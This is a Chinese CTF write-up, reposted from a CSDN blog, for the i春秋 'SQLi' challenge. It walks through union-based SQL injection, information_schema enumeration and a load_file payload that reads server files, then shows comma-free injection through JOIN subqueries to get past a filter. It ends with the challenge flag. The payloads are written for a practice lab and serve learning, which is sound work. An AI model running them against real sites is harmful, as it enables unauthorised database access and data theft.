自学内容网 自学内容网

i春秋-SQLi(无逗号sql注入,-- -注释)

练习平台地址

竞赛中心

题目描述

后台有获取flag的线索应该是让我们检查源码找到后台

 题目内容

空白一片

F12检查源码

发现login.php 

访问login.php?id=1

F12没有提示尝试sql注入

常规sql注入

//联合注入得到表格列数

1' order by 3 #

1' union select 1,2,3 #(看哪个存在sql注入)

//查看当前权限
user() 

//如果有root权限和绝对路径,可以使用load_file函数访问系统文件,将内容以字符串形式返回
1'/**/union/**/select 1,load_file("/var/www/html/flag.php"),3,4#

//拿数据库名
database()

//拿表名
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="xxx"#

//找表的字段
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="xxx"#

//找数据
1' union select 1,group_concat(data),3,4 from "xxx";#  

参考WP

i春秋-后台有获取flag的线索-flag{6deb7ea8-4a31-4f48-ac7e-4d864c466a0a}_flag{c04165a53bec1848bfac2dfda3e667bb}-CSDN博客

发现是后台对逗号以后的输入做了截断处理

相关知识:无逗号注入语句

普通sql语句

union select group_concat(table_name) from information_schema.tables where table_schema=database(),user()


无逗号注入语句

union select * from ((select group_concat(table_name) from information_schema.tables where table_schema=database())a join (select user())b)

解题

真正的注入页面是l0gin.php

order by 3时返回异常,表有两列

?id=1' order by 3-- -

 查看哪里有回显点

-1' union select * from (select 1) a join (select 2) b-- -

爆表

这里也可以先查询数据库名字,有时候这里database()无法执行成功

?id=-1' union select * from (select 1) a join (select group_concat(table_name) from information_schema.tables where table_schema = database()) b-- -

爆字段名

?id=-1' union select * from (select 1) a join (select group_concat(column_name) from information_schema.columns where table_name = 'users') b-- -

发现flag,构造payload查询

-1' union select * from (select 1) a join (select group_concat(flag_9c861b688330) from users) b-- -

 flag 

flag{555913f1-3553-4fcf-a51b-5f6f1c5ccb13}

注意事项

1.注释的类型,#,--+,-- -,--  

2.注意判断后台过滤字符并构建payload


原文地址:https://blog.csdn.net/2301_79090248/article/details/143718659

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!